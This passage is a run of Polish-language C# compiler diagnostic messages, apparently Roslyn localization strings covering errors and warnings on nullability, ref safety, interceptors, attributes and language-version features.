asynchronicznego musi zawierać instrukcję „yield”. + kowariantnie + Utworzono odwołanie do osadzonego zestawu międzyoperacyjnego „{0}” z powodu pośredniego odwołania do tego zestawu utworzonego przez zestaw „{1}”. Rozważ zmianę właściwości „Osadź typy międzyoperacyjne” w jednym z zestawów. + Plik źródłowy przekroczył limit 16 707 565 wierszy reprezentowanych w pliku PDB; informacje o debugowaniu będą niepoprawne + kolekcja + Nie używaj „System.Runtime.CompilerServices.DynamicAttribute”. Zamiast niego użyj słowa kluczowego „dynamic”. + 'Elementu „{0}” nie można oznaczyć jako zgodnego ze specyfikacją CLS, ponieważ zestaw nie ma atrybutu CLSCompliant + Nie można przypisać odwołania „{1}” do „{0}”, ponieważ „{1}” może jedynie opuścić bieżącą metodę za pomocą instrukcji return. + Podana wersja języka jest nieobsługiwana lub nieprawidłowa: „{0}”. + Oczekiwano wyrażenia lub instrukcji deklaracji. + Modyfikator „scoped” parametru „{0}” nie jest zgodny z częściową deklaracją metody. + Nie można przypisać wartości do właściwości lub indeksatora „{0}” – jest on tylko do odczytu + Typem zwracanym metody, delegata lub wskaźnika funkcji nie może być „{0}” + Oczekiwano dostępu do identyfikatora lub prostej składowej. + Spowoduje to zwrócenie lokalnego elementu „{0}” przez odwołanie, ale nie jest to odwołanie lokalne + Odwołanie do analizatora określono wiele razy + Deklaracje metod częściowych mają niespójne opcje dopuszczania wartości null w ograniczeniach dla parametru typu + Niespójność dostępności: typ pola „{1}” jest mniej dostępny niż pole „{0}” + Opcja /pdb wymaga również użycia opcji /debug + 'Podane wyrażenie wyrażenia „is” zawsze ma podany typ + Nie można użyć globalnych używających dyrektywy w deklaracji przestrzeni nazw. + #pragma + Typ „{0}” musi być publiczny, aby można go było używać jako konwencji wywoływania. + Wymagana składowa „{0}” musi być konfigurowalna. + Nazwa pliku każdego połączonego zasobu i modułu musi być unikatowa. Nazwę pliku „{0}” określono więcej niż raz w tym zestawie. + Wywołaj metodę System.IDisposable.Dispose() dla alokowanego wystąpienia zanim wszystkie odwołania do niego znajdą się poza zakresem + Nie można określić modyfikatorów „readonly” dla obu metod dostępu właściwości lub indeksatora „{0}”. Zamiast tego dodaj modyfikator „readonly” do samej właściwości. + przestarzałe w metodzie dostępu właściwości + Metoda obsługi ciągu interpolowanego „{0}” ma niespójny zwracany typ. Oczekiwano zwrócenia elementu „{1}”. + Drzewo wyrażenia lambda nie może zawierać wywołania modelu COM z pominiętym parametrem ref przy argumentach + Parametr params nie może zostać zadeklarowany jako {0} + W instrukcji foreach wymagany jest typ i identyfikator + Argument „{0}”: nie można przekonwertować z „{1}” na „{2}” + Specyfikacje argumentów nazwanych muszą występować po wszystkich stałych argumentach, które zostały określone. Użyj wersji języka {0} lub nowszej, aby zezwalać na argumenty nazwane inne niż końcowe. + Ciąg musi rozpoczynać się znakiem cudzysłowu: " + Ograniczenia parametrów typu „{0}” metody „{1}” muszą być zgodne z ograniczeniami parametrów typu „{2}” metody interfejsu „{3}”. Rozważ użycie jawnej implementacji interfejsu. + Nie można zwrócić zmiennej zakresu „{0}” przez referencję + Obsługa wartości null dla typów referencyjnych w typie jest niezgodna z implementowaną składową „{0}”. + Niebezpieczny kod nie może występować w iteratorach. + Nie można oznaczyć interceptora atrybutem „UnmanagedCallersOnlyAttribute”. + Nie można użyć operatora typeof w przypadku typu referencyjnego dopuszczającego wartość null + Konstrukcja __arglist jest prawidłowa tylko wewnątrz metody argumentu zmiennej + Nie można określić typu wyrażenia warunkowego, ponieważ elementy „{0}” i „{1}” są wzajemnie niejawnie konwertowane + Nie można użyć możliwej wartości null dla typu oznaczonego jako [NotNull] lub [DisallowNull] + procedury obsługi ciągów interpolowanych + 'Atrybutu „new” nie można użyć z typem krotki. Użyj wyrażenia literału krotki. + Nieoczekiwany token „{0}” + Wyrażenie musi być typu „{0}”, aby było zgodne z alternatywną wartością ref + W tym kontekście nie można użyć zmiennej lokalnej ani funkcji lokalnej „{0}” zadeklarowanej w instrukcji najwyższego poziomu. + „{0}”: pochodzenie od zapieczętowanego typu „{1}” jest niemożliwe + Modyfikator "ref" dla argumentu {0} odpowiadający parametrowi "in" jest równoważny wartości "in". Zamiast tego rozważ użycie elementu "in". + Element stackalloc w wyrażeniach zagnieżdżonych + Punkt wejściowy debugowania musi być definicją metody zadeklarowanej w bieżącej kompilacji. + Brak zdefiniowanej kolejności pól w wielu deklaracjach częściowej struktury + Przyjęto, że odwołanie do zestawu „{0}” używane przez element „{1}” jest zgodne z tożsamością „{2}” elementu „{3}” — może być konieczne określenie zasad wykonywania + Obsługa wartości null dla typów referencyjnych w typie zwracanym jest niezgodna z implementowaną składową. + Nie można przekonwertować grupy metod na wskaźnik funkcji (może brakuje znaku „&”?) + Komentarz XML ma tag typeparam dla elementu „{0}”, lecz nie ma parametru typu o takiej nazwie + Należy podać parametr atrybutu „{0}” lub „{1}”. + Należy podać parametr atrybutu „{0}”. + metoda z wyrażeniem w treści + Nie można użyć podstawowego parametru konstruktora '{0}', który ma typ przypominający odwołanie wewnątrz składowej wystąpienia + Atrybut CallerFilePathAttribute nie będzie mieć efektu, ponieważ jest stosowany do składowej używanej w kontekście, który nie zezwala na korzystanie z argumentów opcjonalnych + Nie można skompilować modułów sieciowych, gdy używana jest opcja /refout lub /refonly. + Nie można użyć typu „{3}” jako parametru typu „{2}” w typie ogólnym lub metodzie „{0}”. Typ zerowalny „{3}” nie spełnia ograniczenia elementu „{1}”. Typy zerowalne nie mogą spełniać żadnych ograniczeń interfejsów. + Nieprawidłowo sformułowany kod XML w pliku komentarzy + Przestrzeń nazw „{1}” zawiera definicję powodującą konflikt z aliasem „{0}” + Nieprawidłowa nazwa zestawu: {0} + Drzewo wyrażeń nie może zawierać odrzucenia. + nie wzorzec + Argument should be passed with the 'in' keyword + Testowanie zgodności z typem „dynamic” za pomocą operatora „is” jest zasadniczo identyczne z testowaniem zgodności z typem „Object” + Metoda częściowa „{0}” musi mieć część implementacji, ponieważ ma modyfikatory dostępności. + Dyrektywa „using namespace” może być stosowana tylko do przestrzeni nazw. Element „{0}” to typ, a nie przestrzeń nazw. Zamiast tego rozważ użycie dyrektywy „using static” + Składowych pola tylko do odczytu „{0}” nie można użyć jako wartości ref ani out (z wyjątkiem sytuacji, gdy znajdują się w konstruktorze) + Błąd składni wiersza polecenia: nieprawidłowy format identyfikatora GUID „{0}” dla opcji „{1}” + Nie używaj elementu „_” w celu odwoływania się do typu w wyrażeniu „is” z typem. + Domyślny literał „default” nie jest prawidłowy jako wzorzec. Użyj innego odpowiedniego literału (np. „0” lub „null”). Aby dopasować wszystko, użyj wzorca odrzucania „_”. + W ramach atrybutów cref zagnieżdżone typy typów ogólnych powinny być kwalifikowane. + Atrybut CallerLineNumberAttribute można stosować wyłącznie do parametrów mających wartości domyślne. + Wynik wyrażenia to zawsze „{0}”, ponieważ wartość typu „{1}” nigdy nie jest równa wartości „null” typu „{2}” + Nie można zwrócić wartości z iteratora. Użyj instrukcji yield return, aby zwrócić wartość, lub yield break, aby zakończyć iterację. + Generator nie mógł wygenerować źródła. + Oczekiwano elementu „disable” lub „restore” + Opcja „{0}” musi być ścieżką bezwzględną. + Nieprawidłowa wersja „{0}” dla opcji /subsystemversion. Wymagana jest 6.02 lub nowsza dla ARM lub AppContainerExe oraz wersja 4.00 lub nowsza w pozostałych przypadkach + Nieprawidłowy deklarator inicjującej składowej + ogólne ograniczenia typów wyliczenia + Opcja pathmap jest nieprawidłowo sformatowana. + Typ buforu o ustalonym rozmiarze musi być jednym z następujących typów: bool, byte, short, int, long, char, sbyte, ushort, uint, ulong, float lub double. + Ta kombinacja argumentów dla elementu „{0}” jest niedozwolona, ponieważ może uwidaczniać zmienne przywoływane przez parametr „{1}” poza ich zakresem deklaracji + Nie można przekonwertować wartości stałej „{0}” na „{1}”. + Argumentu „{0}” nie można przekazać ze słowem kluczowym „{1}” + Właściwości lub indeksatora „{0}” nie można użyć w tym kontekście, ponieważ metoda dostępu Get jest niedostępna. + funkcje lokalne + Odwołanie zwracające właściwości nie może być wymagane. + krotki + alias zewnętrzny + Nieprawidłowy element include w kodzie XML — {0} + Parametr typu przyjmującego wartość null musi być znany jako typ wartości lub typ odwołania niedopuszczający wartości null, chyba że zostanie użyta wersja języka „{0}” lub nowsza. Rozważ zmianę wersji języka lub dodanie ograniczenia „class”, „struct” lub „type”. + Wartość wyrównania może powodować powstanie ciągu w dużym formacie + Drzewo wyrażenia nie może zawierać dostępu do tablicy śródwierszowej ani konwersji + Przechwycony lub zgłoszony typ musi pochodzić od klasy System.Exception + Nie określono plików źródłowych + Atrybut „{0}” jest ignorowany w przypadku określenia podpisywania publicznego. + Bufor o ustalonym rozmiarze o długości {0} i typie „{1}” jest za duży + „{0}” nie może implementować „{1}”, ponieważ nie jest to obsługiwane przez język + Funkcja „{0}” nie jest dostępna w języku C# 8.0. Użyj języka w wersji {1} lub nowszej. + Funkcja „{0}” nie jest dostępna w języku C# 9.0. Użyj języka w wersji {1} lub nowszej. + Funkcja „{0}” nie jest dostępna w języku C# 2. Użyj języka w wersji {1} lub nowszej. + Funkcja „{0}” nie jest dostępna w języku C# 3. Użyj języka w wersji {1} lub nowszej. + Funkcja „{0}” nie jest dostępna w języku C# 1. Użyj języka w wersji {1} lub nowszej. + Funkcja „{0}” nie jest dostępna w języku C# 6. Użyj języka w wersji {1} lub nowszej. + Funkcja „{0}” nie jest dostępna w języku C# 7.0. Użyj języka w wersji {1} lub nowszej. + Funkcja „{0}” nie jest dostępna w języku C# 4. Użyj języka w wersji {1} lub nowszej. + Funkcja „{0}” nie jest dostępna w języku C# 5. Użyj języka w wersji {1} lub nowszej. + Metoda „{0}” określa ograniczenie „struct” dla parametru typu „{1}”, lecz odpowiadający parametr typu „{2}” przesłoniętej lub jawnie zaimplementowanej metody „{3}” nie jest nienullowalnym typem wartości. + opcja /LIB + Atrybut Conditional jest nieprawidłowy w elemencie „{0}”, ponieważ jego typem zwracanym nie jest void + Interceptor nie może mieć parametru „this”, ponieważ „{0}” nie ma parametru „this”. + wzorzec typu + Zasobu instrukcji przy użyciu typu '{0}' nie można używać w metodach asynchronicznych ani asynchronicznych wyrażeniach lambda. + Atrybut DllImport nie może być zastosowany do metody, która jest ogólna lub zawarta w metodzie ogólnej lub typie ogólnym. + Konstruktor struktury bez parametrów musi mieć wartość „public”. + Użyto nieprzypisanej zmiennej lokalnej „{0}” + Nie można używać właściwości zwracającej inną wartość niż ref lub indeksatora jako wartości out lub ref + Składowa przesłania podstawową składową za pomocą wielu możliwych przesłonięć w czasie wykonywania + Nie można zwrócić elementu „{0}” przez referencję, ponieważ to jest element „{1}” + Pomiń ładowanie typów w zestawie analizatora zakończonych niepowodzeniem z powodu wyjątku ReflectionTypeLoadException + Pole elementu tablicy wbudowanej nie może być deklarowane jako wymagane, tylko do odczytu, nietrwałe ani jako bufor o stałym rozmiarze. + Metoda z oznaczeniem [DoesNotReturn] nie powinna zwracać wartości. + Tylko jedna jednostka kompilacji może mieć instrukcje najwyższego poziomu. + Parametrów ani elementów lokalnych typu „{0}” nie można deklarować w metodach asynchronicznych ani wyrażeniach lambda. + Nie znaleziono deklaracji definiującej na potrzeby implementowania częściowej metody „{0}” + domyślna implementacja interfejsu + Odwołanie do typu „{0}” określa, że jest zdefiniowane w tym zestawie, lecz nie jest zdefiniowane w module źródłowym ani w żadnym z dodanych modułów + Nie można przekazać wartości null dla nazwy przyjaznego zestawu + Zastosowanie określonej wartości domyślnej nie odniesie żadnego skutku, ponieważ dotyczy ona składowej, która jest używana w kontekstach niezezwalających na argumenty opcjonalne + Wartość zwracana musi być inna niż null, ponieważ parametr ma wartość inną niż null. + Pusty blok „switch” + „{0}”: typ abstrakcyjny nie może być zapieczętowany ani statyczny + Wprowadzenie metody „Finalize” może zakłócać wywołanie destruktora + Nie można użyć obiektu „this” przed przypisaniem wszystkich jego pól. Rozważ zaktualizowanie nieprzypisanych pól do wersji językowej „{0}”, aby automatycznie ustawić domyślne pola niezaznaczone. + Sekwencja znaków „@” jest niedozwolona. Ciąg lub identyfikator dosłownego ciągu może zawierać tylko jeden znak „@”, a nieprzetworzony ciąg nie może zawierać żadnego znaku. + Plik źródłowy może zawierać tylko jedną deklarację przestrzeni nazw z określonym zakresem plików. + Dane wyrażenie zawsze jest zgodne z podanym wzorcem. + Inicjator musi zostać udostępniony w deklaracji instrukcji fixed lub using + Typ zwracany przez operator ++ lub -- musi odpowiadać typowi parametru lub pochodzić od typu parametru + Nieprawidłowa wariancja: parametr typu „{1}” musi być elementem {3} prawidłowym dla elementu „{0}”. Element „{1}” to „{2}”. + Wymagane składowe są niedozwolone na najwyższym poziomie skryptu lub żądania przesłania. + „{0}”: zdefiniowane przez użytkownika konwersje na lub z typu dynamicznego nie są dozwolone + Ścieżka AppConfigPath musi być bezwzględna. + Atrybuty docelowe dla pól w ramach właściwości automatycznych nie są obsługiwane w języku w wersji {0}. Użyj języka w wersji {1} lub nowszej. + „{0}”: zdarzenie abstrakcyjne nie może używać składni metody dostępu zdarzenia + Nie można użyć atrybutu [EnumeratorCancellation] w wielu parametrach + Nie można używać składowej wyniku elementu „{0}” w tym kontekście, ponieważ może uwidaczniać zmienne przywoływane przez parametr „{1}” poza ich zakresem deklaracji + Zastosowanie elementu CallerFilePathAttribute do parametru „{0}” nie odniesie żadnego skutku. Jest on przesłaniany przez element CallerLineNumberAttribute. + Prawdopodobnie omyłkowo wystąpiła pusta instrukcja + atrybuty lambda + Nie można przekonwertować wyrażenia lambda z atrybutami na drzewo wyrażeń + Nie można użyć typu „{3}” jako parametru typu „{2}” w typie ogólnym lub metodzie „{0}”. Brak konwersji pakującej lub konwersji parametru typu z „{3}” na „{1}”. + Nieprawidłowo sformułowany kod XML znajduje się w pliku komentarzy — „{0}” + Wzorców relacyjnych nie można używać na potrzeby zmiennoprzecinkowej wartości NaN. + Automatycznie implementowane właściwości muszą przesłaniać wszystkie metody dostępu przesłanianej właściwości. + Słowo kluczowe „enum” nie może być używane jako ograniczenie. Czy chodziło Ci o „struct, System.Enum”? + Podwyrażenie nie może być używane w argumencie operatora „nameof”. + Gałęzie operatora warunkowego ref nie mogą przywoływać zmiennych z niezgodnymi zakresami deklaracji + Pole buforu o ustalonym rozmiarze musi mieć specyfikator rozmiaru tablicy po nazwie pola. + wskaźnik funkcji + Dyrektywa #warning + Żadne przeładowanie metody „{0}” nie pobiera następującej liczby argumentów: „{1}” + Do wyrażenia typu „{0}” nie można zastosować indeksowania przy użyciu konstrukcji []. + Brak wartości dyrektywy #line lub jest ona poza zakresem + Attribute parameter 'SizeConst' must be specified. + „{0}” to nieprawidłowy typ ograniczenia. Typ używany jako ograniczenie musi być interfejsem, klasą niezapieczętowaną lub parametrem typu. + Niejednoznaczne odwołanie w atrybucie cref: „{0}”. Przyjęto element „{1}”, lecz inne elementy przeciążające także są zgodne, w tym „{2}”. + Klasa „{0}” nie może zawierać wielu klas bazowych: „{1}” i „{2}” + 'Element „{0}” przesłania metodę Object.Equals(object o), lecz nie przesłania metody Object.GetHashCode() + Interceptor nie może mieć ścieżki pliku o wartości „null”. + Niepotrzebna dyrektywa using. + Nie można odnaleźć dostępnej metody '{0}' z oczekiwaną sygnaturą: metoda statyczna z pojedynczym parametrem typu "ReadOnlySpan<{1}>" i zwracanym typem '{2}'. + Nazwa „{0}” nie istnieje w bieżącym kontekście + Brak pętli otaczającej, w której ma nastąpić przerwanie lub kontynuowanie + Jawna implementacja interfejsu „{0}” jest zgodna z więcej niż jedną składową interfejsu. Wybór interfejsu do użycia zależy od implementacji. Rozważ użycie zamiast niej implementacji niejawnej. + Dopuszczanie wartości null dla typów referencyjnych w typie parametru „{0}” nie jest zgodne z zaimplementowaną składową „{1}” (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Odwołanie do niezdefiniowanej jednostki „{0}”. + Komentarz XML ma nieprawidłowo sformułowany kod XML — „{0}” + Właściwości zwracające wartość przez referencję muszą mieć metodę dostępu get + Składowe z atrybutem „ObsoleteAttribute” nie powinny być wymagane, chyba że typ zawierający jest przestarzały lub wszystkie konstruktory są przestarzałe. + Niespójność dostępności: interfejs podstawowy „{1}” jest mniej dostępny niż interfejs „{0}” + Drzewo wyrażenia nie może zawierać wyrażenia metody anonimowej + wyrażenie lambda + Parametr zostaje przechwycony do stanu otaczającego typu, a jego wartość jest również przekazywana do konstruktora podstawowego. Wartość może być również przechwycona przez klasę bazową. + Oczekiwano definicji typu lub przestrzeni nazw albo znacznika końca pliku. + Niezakończony literał ciągu znaków + Nieprawidłowy typ ograniczenia. Typ używany jako ograniczenie musi być interfejsem, klasą niezapieczętowaną lub parametrem typu. + Drugi operand operatora „is” lub „as” nie może być typem statycznym + Wyrażenie będzie zawsze powodować wystąpienie wyjątku System.NullReferenceException, ponieważ domyślna wartość typu to null + Nie można zastosować atrybutu UnscopedRefAttribute do implementacji interfejsu. + W typach wskaźnika nie można używać operatorów „is” ani „as” + Parametr typu ma tę samą nazwę co parametr typu zewnętrznego + Za mało cudzysłowów dla literału nieprzetworzonego ciągu. + „{0}”: interfejsy zgodne ze specyfikacją CLS muszą mieć tylko składowe zgodne ze specyfikacją CLS + Nie można przekonwertować wyrażenia metody anonimowej na drzewo wyrażenia + Plik źródłowy został określony wiele razy + Użyto nieprawidłowej składni w komentarzu. + Metoda Add rozszerzenia nie jest obsługiwana w przypadku inicjatora kolekcji w operatorze lambda wyrażenia. + Atrybut „{0}” jest prawidłowy tylko w indeksatorze, który nie jest jawną deklaracją składowej interfejsu + „{0}” to nie jest klasa atrybutu + Nie można użyć typu jako parametru typu w typie ogólnym lub metodzie. Obsługa wartości null w argumencie typu jest niezgodna z ograniczeniem „notnull”. + W wyrażeniu stałym nie można użyć typu anonimowego. + Wyrażenia i instrukcje mogą znajdować się tylko w treści metody + Typ „{0}” jest nieprawidłowy dla „using static”. Można używać tylko klasy, struktury, interfejsu, wyliczenia, delegata lub przestrzeni nazw. + Typ elementu „{0}” nie jest zgodny ze specyfikacją CLS + Operator „{0}” jest niejednoznaczny dla operandów „{1}” i „{2}” + Typ argumentu „{0}” nie jest zgodny ze specyfikacją CLS + Parametr params musi być tablicą jednowymiarową + Punkt wejścia programu to kod globalny; punkt wejścia „{0}” jest ignorowany. + Nie można wywołać abstrakcyjnej składowej bazowej: „{0}” + Nie można przekonwertować wartości null na parametr typu „{0}”, ponieważ może on być nienullowalnym typem wartości. Zamiast tego rozważ użycie elementu „default({0}!)”. + Funkcja nie jest częścią specyfikacji standardu ISO języka C# i może nie być akceptowana przez inne kompilatory + Znak „&” dla grup metod nie może być używany w drzewach wyrażeń + Typ zmiennej lokalnej zadeklarowanej w instrukcji fixed nie może być typem wskaźnikowym funkcji. + Podano typy parametrów: {0} i rodzaje odwołań do parametrów: {1}. Te tablice muszą mieć taką samą długość. + Nie można zwrócić składowej zmiennej lokalnej „{0}” przez referencję, ponieważ to nie jest zmienna lokalna ref + Pole niedopuszczające wartości null musi zawierać wartość inną niż null podczas kończenia działania konstruktora. Rozważ zadeklarowanie pola jako dopuszczającego wartość null. + Element „{0}” nie ma klasy bazowej i nie może wywołać konstruktora bazowego + Najlepiej dopasowana metoda przeciążona elementu „{0}” zawiera niewłaściwą sygnaturę dla elementu inicjatora. Możliwa do zainicjowania metoda Add musi być dostępną metodą wystąpienia. + Określono publiczne podpisywanie, które wymaga klucza publicznego, lecz nie podano klucza publicznego. + Dopuszczanie wartości null dla typów referencyjnych w typie parametru nie jest zgodne z niejawnie zaimplementowaną składową (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Dopuszczanie wartości null dla typów referencyjnych w typie zwracanym nie jest zgodne z zaimplementowaną składową „{0}” (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Oczekiwano znaku ) + Nie można znaleźć pliku źródłowego „{0}”. + właściwość + Nieprawidłowa wartość „{0}”: „{1}” dla języka C# {2}. Użyj wersji języka „{3}” lub nowszej. + Elementu „{0}” nie można zwrócić przez referencję, ponieważ jest tylko do odczytu + Nie można użyć metody rozszerzenia z odbiornikiem jako elementem docelowym operatora „&”. + Atrybut CallerArgumentExpressionAttribute zastosowany do parametru „{0}” nie będzie działać. Jest on zastępowany przez atrybut CallerFilePathAttribute. + Funkcja anonimowa przekonwertowana na delegata zwracającego typ void nie może zwracać wartości + Używanie typu „dynamic” we wzorcu nie jest dozwolone. + Nie można użyć elementu {0} „{1}” jako wartości ref ani out, ponieważ jest to zmienna tylko do odczytu + Destruktory i metoda object.Finalize nie mogą być bezpośrednio wywoływane. Rozważ wywołanie metody IDisposable.Dispose, jeżeli jest dostępna. + Atrybut "{0}" nie może implementować składowej interfejsu "{1}" w typie "{2}", ponieważ docelowe środowisko uruchomieniowe nie obsługuje statycznych składowych abstrakcyjnych w interfejsach. + Nie można przechwycić metody „{0}” za pomocą interceptora „{1}” , ponieważ podpisy nie są zgodne. + Za wiele znaków w literale znakowym + Element SyntaxTree nie jest częścią kompilacji + Podano różne wartości sumy kontrolnej #pragma + Wartość SecurityAction „{0}” jest nieprawidłowa dla atrybutu PrincipalPermission + Niewłaściwy deklarator tablicy. Aby zadeklarować tablicę zarządzaną, przed identyfikatorem zmiennej umieść specyfikator rangi tablicy. Aby zadeklarować pole buforu o ustalonym rozmiarze, przed typem pola użyj słowa kluczowego „fixed”. + Częściowe deklaracje elementu „{0}” muszą mieć takie same nazwy parametrów typu i modyfikatory wariancji w takiej samej kolejności + „{0}” nie może pochodzić od klasy specjalnej „{1}” + Ponieważ „{0}” jest metodą asynchroniczną, która zwraca wartość „{1}”, po zwrotnym słowie kluczowym nie może występować wyrażenie obiektu. + Nie można użyć elementu „{0}” jako wartości ref ani out, ponieważ jest to element tylko do odczytu + Inicjator obiektu lub kolekcji niejawnie wyłuskuje składową o możliwej wartości null „{0}”. + Nie można znaleźć implementacji wzorca zapytania dla typu źródłowego „{0}”. Nie znaleziono elementu „{1}”. + Atrybut CallerMemberNameAttribute można stosować wyłącznie do parametrów mających wartości domyślne. + Typ powoduje konflikt z zaimportowaną przestrzenią nazw + Komentarz XML ma tag param dla elementu „{0}”, lecz nie ma parametru o takiej nazwie + Parametr typu ma ten sam typ co parametr typu z metody zewnętrznej. + Parametr „{0}” nie został jawnie podany, ale jest używany jako argument konwersji interpolowanej procedury obsługi ciągów dla parametru „{1}”. Określ wartość „{0}” przed „{1}”. + Brak komentarza XML dla widocznego publicznie typu lub składowej + Zestaw „{0}” zawierający typ „{1}” odwołuje się do platformy .NET Framework, co nie jest obsługiwane. + Porównanie ze stałą całkowitoliczbową jest bezcelowe; stała jest poza zakresem typu + Nie można użyć typu jako parametru typu w typie ogólnym lub metodzie. Obsługa wartości null w argumencie typu jest niezgodna z typem ograniczenia. + Typ definiuje operator == lub !=, ale nie przesłania metody Object.GetHashCode() + Atrybut zostanie zignorowany na rzecz wystąpienia w źródle + Nie można otworzyć pliku źródłowego „{0}” — {1} + W tej deklaracji typu atrybut „{0}” jest nieprawidłowy. Jest on prawidłowy tylko w deklaracjach „{1}”. + Drzewo wyrażeń nie może zawierać przypisania łączącego wartość null + Element lokalny lub parametr o nazwie „{0}” nie może zostać zadeklarowany w tym zakresie, ponieważ ta nazwa jest już użyta w otaczającym zakresie lokalnym do zdefiniowania elementu lokalnego lub parametru + 'Typ elementu „{0}” to „{1}”. Wartość domyślnego parametru typu referencyjnego innego niż string można zainicjować tylko przy użyciu wartości null + Nie można osadzić typów międzyoperacyjnych z zestawu „{0}”, ponieważ brakuje atrybutu „{1}” lub „{2}”. + Dopuszczanie wartości null dla typów referencyjnych w typie parametru „{0}” z elementu „{1}” nie jest zgodne z docelowym delegatem „{2}” (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Typ ograniczenia „{0}” nie jest zgodny ze specyfikacją CLS + W konstrukcji procedury obsługi ciągów interpolowanych nie można używać dynamicznych składowych. Ręcznie utwórz wystąpienie elementu "{0}". + Statycznego pola lub właściwości „{0}” nie można przypisać w inicjatorze obiektu + Zduplikowany atrybut „{0}” + Atrybut „{0}” jest prawidłowy tylko w klasach pochodzących od klasy System.Attribute + Gałęzie operatora warunkowego ref nie mogą przywoływać zmiennych z niezgodnymi zakresami deklaracji + Nieoczekiwana sekwencja znaków „...” + Obsługa wartości null w ograniczeniach dla parametru typu „{0}” metody „{1}” jest niezgodna z ograniczeniami parametru typu „{2}” metody interfejsu „{3}”. Rozważ użycie jawnej implementacji interfejsu. + Porównanie z wartością null typu struktury zawsze zwraca wartość „false” + Atrybut RequiredAttribute jest niedozwolony dla typów C# + Dozwolonych jest tylko 65534 elementów lokalnych, włącznie z wygenerowanymi przez kompilator + Pole nietrwałe nie powinno być zwykle używane jako wartość ref ani out, ponieważ nie będzie traktowane jak pole nietrwałe. Istnieją wyjątki od tej reguły, takie jak wywołanie blokowanego interfejsu API. + Obsługa wartości null dla typów referencyjnych w typie jest niezgodna z przesłoniętą składową. + Nie można osadzić typu międzyoperacyjnego „{0}” znajdującego się jednocześnie w zestawach „{1}” i „{2}”. Rozważ ustawienie wartości false dla właściwości „Osadź typy międzyoperacyjne”. + ścieżka jest za długa lub nieprawidłowa + „{1} {0}” ma nieprawidłowy zwracany typ. + Składowa musi mieć wartość inną niż null podczas kończenia działania w pewnym stanie. + Obsługa wartości null dla typów referencyjnych w typie parametru „{0}” jest niezgodna z implementowaną składową „{1}”. + Typ nie zawiera implementacji wzorca kolekcji; składowa ma niewłaściwą sygnaturę + asynchroniczna funkcja main + Nie znaleziono składowej „{0}” dla typu „{1}” z zestawu „{2}”. + Tag końcowy jest nieoczekiwany w tej lokalizacji. + „{1}”: nie można utworzyć na podstawie klasy statycznej „{0}” + Metody z atrybutem „UnmanagedCallersOnly” nie mogą mieć parametrów typu ogólnego i nie mogą być deklarowane w typie ogólnym. + Dostęp do składowej elementu „{0}” może spowodować wystąpienie wyjątku czasu wykonywania, ponieważ to jest pole w klasie marshal-by-reference + Oczekiwano wyrażenia + Dostęp do przyjaznego zestawu został udzielony przez „{0}”, ale klucz publiczny zestawu wyjściowego („{1}”) nie jest zgodny z kluczem określonym przez atrybut InternalsVisibleTo w zestawie udzielającym dostępu. + 'Element „{0}” jest typem obsługiwanym przez język. + Metoda inicjatora modułu „{0}” musi być statyczna, nie wirtualna, nie może mieć parametrów i musi zwracać typ „void” + Metoda „{0}” z blokiem iteratora musi być oznaczona jako „async”, aby zwrócić „{1}” + Wyrażenie musi umożliwiać niejawną konwersję na typ Boolean lub jego typ „{0}” musi definiować operator „{1}”. + Nie można usunąć obiektu więcej niż raz + Zastosowanie elementu CallerMemberNameAttribute do parametru „{0}” nie odniesie żadnego skutku. Jest on przesłaniany przez element CallerLineNumberAttribute. + Odwołanie do zestawu jest nieprawidłowe i nie można go rozpoznać + Typ parametru dla operatora ++ lub -- musi być typem zawierającym + Użycie prawdopodobnie nieprzypisanej automatycznie implementowanej właściwości „{0}”. Rozważ zaktualizowanie do wersji językowej „{1}”, aby automatycznie ustawić domyślną właściwości. + Konwertowanie literału null lub możliwej wartości null na nienullowalny typ. + Nie odnaleziono wartości elementu RuntimeMetadataVersion + Dla niestatycznego pola, metody lub właściwości „{0}” wymagane jest odwołanie do obiektu. + Nie można zwrócić przez odwołanie składowej parametru „{0}” za pomocą parametru ref; może on być zwracany tylko w instrukcji return + Nie można oznaczyć typu lub składowej jako zgodnej ze specyfikacją CLS, ponieważ zestaw nie ma atrybutu CLSCompliant + Atrybut AsyncMethodBuilder jest niedozwolony w metodach anonimowych bez jawnego zwracanego typu. + Konwertowanie grupy metod na typ inny niż delegowany + „{0}”: typem zwracanym musi być „{2}”, aby być zgodnym z przesłoniętą składową „{1}” + Nie można użyć zmiennej użycia bezpośrednio w sekcji instrukcji switch (rozważ użycie nawiasów klamrowych). + Przesłanie może mieć co najwyżej jedno drzewo składni. + Żadne z przeciążeń dla elementu „{0}” nie pasuje do delegata „{1}”. + Identyfikator '{0}' jest niejednoznaczny między typem '{1}' i parametrem '{2}' w tym kontekście. + Nieprawidłowy typ parametru w atrybucie cref komentarza XML + Nazwa „{0}” nie identyfikuje elementu krotki „{1}”. + Dla typu zawierającego indeksator nie można określić atrybutu DefaultMember. + Poziom ostrzeżeń musi mieć wartość zero lub większą + indeksator z wyrażeniem w treści + Funkcja lokalna „{0}” musi deklarować treść, ponieważ nie jest oznaczona jako „static extern”. + Parametr {0} ma wartość domyślną „{1:10}” w wyrażeniu lambda, ale wartość „{2:10}” w docelowym typie delegata. + „{0}”: nie może pochodzić od typu dynamicznego + Metoda częściowa „{0}” musi mieć modyfikatory dostępności, ponieważ ma typ zwracany inny niż void. + Drzewo wyrażenia lambda nie może zawierać operatora łączącego z literałem domyślnym lub o wartości null po lewej stronie + „{0}”: Typ użyty w asynchronicznej instrukcji using musi być jawnie konwertowalny na typ „System.IAsyncDisposable” lub musi implementować odpowiednią metodę „DisposeAsync”. + Błąd składni, oczekiwano elementu „{0}” + „{2}” nie może spełnić ograniczenia „new()” dla parametru „{1}” w typie ogólnym lub metodzie „{0}”, ponieważ „{2}” ma wymagane elementy członkowskie. + Wyrażenie switch nie obsługuje niektórych wartości typu wejściowego (nie jest wyczerpujące) obejmujących nienazwaną wartość wyliczenia. Na przykład nie jest uwzględniony wzorzec „{0}”. + Argumentu typu „{0}” nie można użyć dla parametru „{2}” typu „{1}” w elemencie „{3}” z powodu różnic w dopuszczalności wartości null przez typy referencyjne. + Nie jest to rozpoznawana lokalizacja atrybutu + Użycie wyniku „{0}” w tym kontekście może uwidocznić zmienne przywoływane przez parametr „{1}” poza zakresem deklaracji + Inicjator elementu nie może być pusty + Wywołanie składowej innej niż tylko do odczytu „{0}” ze składowej zadeklarowanej jako „readonly” może spowodować niejawne utworzenie kopii elementu „{1}”. + Typ 